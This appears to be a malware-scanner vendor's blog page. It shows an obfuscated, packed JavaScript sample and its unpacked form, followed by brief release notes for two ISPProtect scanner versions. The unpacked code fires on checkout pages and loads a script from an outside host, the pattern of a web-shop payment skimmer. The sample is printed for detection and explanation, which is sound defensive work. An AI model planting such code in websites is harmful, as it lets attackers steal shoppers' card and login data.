For example: eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘1.4=5(){6((2 7(\’8|9|a\’)).b(1.c)){$$(\’d\’)[0].e(2 f(\’g\’,{h:\’i/j\’,k:\’l://m.n.o/p/3/q/r.3\’}))}}’,28,28,’|window|new|js|onload|function|if|RegExp|onepage|checkout|onestep|test|location|head|appendChild|Element|script|type|text|javascript|src|https|boutique|postedecoute|ca|media|shipping|ups’.split(‘|’),0,{})); will be unpacked to window.onload=function(){if((new RegExp(‘onepage|checkout|onestep’)).test(window.location)){$$(‘head’)[0].appendChild(new Element(‘script’,{type:’text/javascript’,src:’https://boutique.postedecoute.ca/media/js/shipping/ups.js’}))}}

Today we released version 1.21.1 of our malware scanner ISPProtect. It adds further improvements and new signatures for an even better malware recognition. With this blog post we want to show you a crypted, let’s say creative, type of malware.

Today we released version 1.19.0 of the ISPProtect malware scanner. For this release we focussed on new malware signatures and a further improvement of scanning speed in level 2. We managed to lower the scan time to less than 50%
